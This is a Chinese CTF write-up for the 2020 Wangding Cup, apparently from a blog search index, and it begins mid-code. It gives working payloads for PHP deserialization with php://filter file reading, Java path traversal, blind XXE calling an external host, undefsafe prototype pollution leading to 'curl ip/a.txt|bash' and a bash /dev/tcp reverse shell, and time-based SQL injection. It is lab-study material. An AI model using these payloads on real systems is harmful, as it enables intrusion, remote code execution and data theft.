$filename; protected $content; function __construct() { $op = \"1\"; $filename = \"/tmp/tmpfile\"; $content = \"Hello World!\"; $this-\u003eprocess(); } public function process() { if($this-\u003eop == \"1\") { $this-\u003ewrite(); } else if($this-\u003eop == \"2\") { $res = $this-\u003eread(); $this-\u003eoutput($res); } else { $this-\u003eoutput(\"Bad Hacker!\"); } } private function write() { if(isset($this-\u003efilename) \u0026\u0026 isset($this-\u003econtent)) { if(strlen((string)$this-\u003econtent) \u003e 100) { $this-\u003eoutput(\"Too long!\"); die(); } $res = file_put_contents($this-\u003efilename, $this-\u003econtent); if($res) $this-\u003eoutput(\"Successful!\"); else $this-\u003eoutput(\"Failed!\"); } else { $this-\u003eoutput(\"Failed!\"); } } private function read() { $res = \"\"; if(isset($this-\u003efilename)) { $res = file_get_contents($this-\u003efilename); } return $res; } private function output($s) { echo \"[Result]: \u003cbr\u003e\"; echo $s; } function __destruct() { if($this-\u003eop === \"2\") $this-\u003eop = \"1\"; $this-\u003econtent = \"\"; $this-\u003eprocess(); } } function is_valid($s) { for($i = 0; $i \u003c strlen($s); $i++) if(!(ord($s[$i]) \u003e= 32 \u0026\u0026 ord($s[$i]) \u003c= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } } 审计代码: GET方式传参给str,然后调用is_valid()函数判断传入的参数是否在ASCII码32到125之间,也就是数字、大小写字符以及常规符号,然后进行反序列化 但是这里会ban掉不可见字符\\00,这个在序列化protected属性的对象时会出现,我们需要绕过它,php7.1+版本对属性类型不敏感,所以本地序列化就直接用public就可以绕过了 然后代码很简单,我们可以序列化构造$op=2和$filename=flag.php,调用read()函数读取flag.php,但是在进行read()之前就会调用__destruct()魔术方法,如果$this-\u003eop === “2\"就会设置$this-\u003eop为\"1”,而\"1\"在process()函数中会调用write()函数,不能读取文件。 审计代码发现:process()函数中使用了不严格相等if($this-\u003eop == “2”) 所以基于PHP的特性我们可以构造$op=”2e0”进行绕过 然后就是读取文件了,但是直接相对路径读flag.php没用,不知道为什么 用绝对路径/var/www/html读也没用 我发现404页面有开发文档:https://hub.docker.com/r/nimmis/alpine-apache/ 然后发现了web路径: 所以猜测flag.php路径是:/web/html/flag.php 直接读取不行,用伪协议读可以 payload: \u003c?php class FileHandler { public $op = \"2e0\"; public $filename = \"php://filter/read=convert.base64-encode/resource=/web/html/flag.php\"; } $a = new FileHandler(); echo urlencode(serialize($a)); O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D 返回: Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg== Base64解码得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8} ","date":"2020-05-10","objectID":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/:1:0","tags":["prototype pollution","XXE"],"title":"“网鼎杯”2020 Writeup","uri":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/"},{"categories":["Writeup"],"content":"filejava 打开是一个文件上传页面,看了下页面是java写的,题目名称也说了 上传个文件,然后可以下载,复制下载链接一看: http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php 可能存在任意文件下载,尝试: http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd 发现可以下载到/etc/passwd 又根据报错知道是Tomcat于是读取web.xml: http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml 得到: \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003cweb-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\" id=\"WebApp_ID\" version=\"2.5\"\u003e \u003cdisplay-name\u003efile_in_java\u003c/display-name\u003e \u003cwelcome-file-list\u003e \u003cwelcome-file\u003eupload.jsp\u003c/welcome-file\u003e \u003c/welcome-file-list\u003e \u003cservlet\u003e \u003cdescription\u003e\u003c/description\u003e \u003cdisplay-name\u003eUploadServlet\u003c/display-name\u003e \u003cservlet-name\u003eUploadServlet\u003c/servlet-name\u003e \u003cservlet-class\u003ecn.abc.servlet.UploadServlet\u003c/servlet-class\u003e \u003c/servlet\u003e \u003cservlet-mapping\u003e \u003cservlet-name\u003eUploadServlet\u003c/servlet-name\u003e \u003curl-pattern\u003e/UploadServlet\u003c/url-pattern\u003e \u003c/servlet-mapping\u003e \u003cservlet\u003e \u003cdescription\u003e\u003c/description\u003e \u003cdisplay-name\u003eListFileServlet\u003c/display-name\u003e \u003cservlet-name\u003eListFileServlet\u003c/servlet-name\u003e \u003cservlet-class\u003ecn.abc.servlet.ListFileServlet\u003c/servlet-class\u003e \u003c/servlet\u003e \u003cservlet-mapping\u003e \u003cservlet-name\u003eListFileServlet\u003c/servlet-name\u003e \u003curl-pattern\u003e/ListFileServlet\u003c/url-pattern\u003e \u003c/servlet-mapping\u003e \u003cservlet\u003e \u003cdescription\u003e\u003c/description\u003e \u003cdisplay-name\u003eDownloadServlet\u003c/display-name\u003e \u003cservlet-name\u003eDownloadServlet\u003c/servlet-name\u003e \u003cservlet-class\u003ecn.abc.servlet.DownloadServlet\u003c/servlet-class\u003e \u003c/servlet\u003e \u003cservlet-mapping\u003e \u003cservlet-name\u003eDownloadServlet\u003c/servlet-name\u003e \u003curl-pattern\u003e/DownloadServlet\u003c/url-pattern\u003e \u003c/servlet-mapping\u003e \u003c/web-app\u003e 之后根据xml中的把对应class都下载下来,然后反编译 java web目录参考:https://www.cnblogs.com/jpfss/p/9584075.html /DownloadServlet ?filename=../../../classes/cn/abc/servlet/UploadServlet.class ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class ?filename=../../../classes/cn/abc/servlet/UploadServlet.class ?filename=../../../../META-INF/MANIFEST.MF 主要利用点是在UploadServlet.java中有如下代码: if (filename.startsWith(\"excel-\") \u0026\u0026 \"xlsx\".equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println(\"poi-ooxml-3.10 has something wrong\"); e.printStackTrace(); } } 这里考到了CVE-2014-3529类似的漏洞 这部分代码逻辑表示,如果我们的文件名是excel-开始加上.xlsx结尾,就会用poi解析xlsx。 因为提示flag在根目录,正好可以用这个xxe打。不过没回显,所以要引用外部xml盲打xxe。 首先是本地新建一个excel-1.xlsx文件,然后改后缀为zip,然后把[Content_Types].xml文件解压出来 修改[Content_Types].xml的内容为: \u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e \u003c!DOCTYPE try[ \u003c!ENTITY % int SYSTEM \"http://***.***.***.***/a.xml\"\u003e %int; %all; %send; ]\u003e \u003croot\u003e\u0026send;\u003c/root\u003e \u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003cOverride PartName=\"/xl/theme/theme1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.theme+xml\"/\u003e\u003cOverride PartName=\"/xl/styles.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml\"/\u003e\u003cOverride PartName=\"/docProps/core.xml\" ContentType=\"application/vnd.openxmlformats-package.core-properties+xml\"/\u003e\u003cOverride PartName=\"/docProps/app.xml\" ContentType=","date":"2020-05-10","objectID":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/:2:0","tags":["prototype pollution","XXE"],"title":"“网鼎杯”2020 Writeup","uri":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/"},{"categories":["Writeup"],"content":"notes 考点:CVE-2019-10795 undefsafe原型链污染 参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940 app.js源码: var express = require('express'); var path = require('path'); const undefsafe = require('undefsafe'); const { exec } = require('child_process'); var app = express(); class Notes { constructor() { this.owner = \"whoknows\"; this.num = 0; this.note_list = {}; } write_note(author, raw_note) { this.note_list[(this.num++).toString()] = {\"author\": author,\"raw_note\":raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); } get_all_notes() { return this.note_list; } remove_note(id) { delete this.note_list[id]; } } var notes = new Notes(); notes.write_note(\"nobody\", \"this is nobody's first note\"); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'pug'); app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) { res.render('index', { title: 'Notebook' }); }); app.route('/add_note') .get(function(req, res) { res.render('mess', {message: 'please use POST to add a note'}); }) .post(function(req, res) { let author = req.body.author; let raw = req.body.raw; if (author \u0026amp;\u0026amp; raw) { notes.write_note(author, raw); res.render('mess', {message: \"add note sucess\"}); } else { res.render('mess', {message: \"did not add note\"}); } }) app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: \"please use POST to edit a note\"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id \u0026amp;\u0026amp; author \u0026amp;\u0026amp; enote) { notes.edit_note(id, author, enote); res.render('mess', {message: \"edit note sucess\"}); } else { res.render('mess', {message: \"edit note failed\"}); } }) app.route('/delete_note') .get(function(req, res) { res.render('mess', {message: \"please use POST to delete a note\"}); }) .post(function(req, res) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess', {message: \"delete done\"}); } else { res.render('mess', {message: \"delete failed\"}); } }) app.route('/notes') .get(function(req, res) { let q = req.query.q; let a_note; if (typeof(q) === \"undefined\") { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note', {list: a_note}); }) app.route('/status') .get(function(req, res) { let commands = { \"script-1\": \"uptime\", \"script-2\": \"free -m\" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) =\u003e { if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); }) app.use(function(req, res, next) { res.status(404).send('Sorry cant find that!'); }); app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!'); }); const port = 8080; app.listen(port, () =\u003e console.log(`Example app listening at http://localhost:${port}`)) 通过上面参考链接可知undefsafe包,版本\u003c2.0.3有原型链污染漏洞 谷歌一下undefsafe,它的基本功能是取出字典中的对象或者更新字典中的对象: var object = { a: { b: [1,2,3] } }; // modified object var res = undefsafe(object, 'a.b.0', 10); console.log(object); // { a: { b: [10, 2, 3] } } //这里可以看见1被替换成了10 参考:https://github.com/remy/undefsafe 审计代码发现由于/status路由下有命令执行: app.route('/status') .get(function(req, res) { let commands = { \"script-1\": \"uptime\", \"script-2\": \"free -m\" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) =\u003e { if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); }) 所以可以通过污染commands这个字典,例如令commads.a=whoami,然后访问/status它会遍历执行commands字典中的命令 /edit_note下可以传三个参数,调用edit_note(id, author, raw)函数,然后使用了undefsafe进行字典的修改 因为undefsafe操作的对象可控,所以我们可以进行原型链污染 payload: id=__proto__\u0026amp;author=curl ip/a.txt|bash\u0026amp;raw=123 //a.txt内容为: bash -i \u003e\u0026 /dev/tcp/ip/port 0\u003e\u00261 反弹shell","date":"2020-05-10","objectID":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/:3:0","tags":["prototype pollution","XXE"],"title":"“网鼎杯”2020 Writeup","uri":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/"},{"categories":["Writeup"],"content":"trace 这个是insert注入,好像复现不了了orz 郁离歌学长的payload: 2'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),\"+str(i)+\",1))=\"+str(j)+\",pow(9999,100) or sleep(3),pow(9999,100)),'1')# ","date":"2020-05-10","objectID":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/:4:0","tags":["prototype pollution","XXE"],"title":"“网鼎杯”2020 Writeup","uri":"/%E7%BD%91%E9%BC%8E%E6%9D%AF2020-writeup/"}]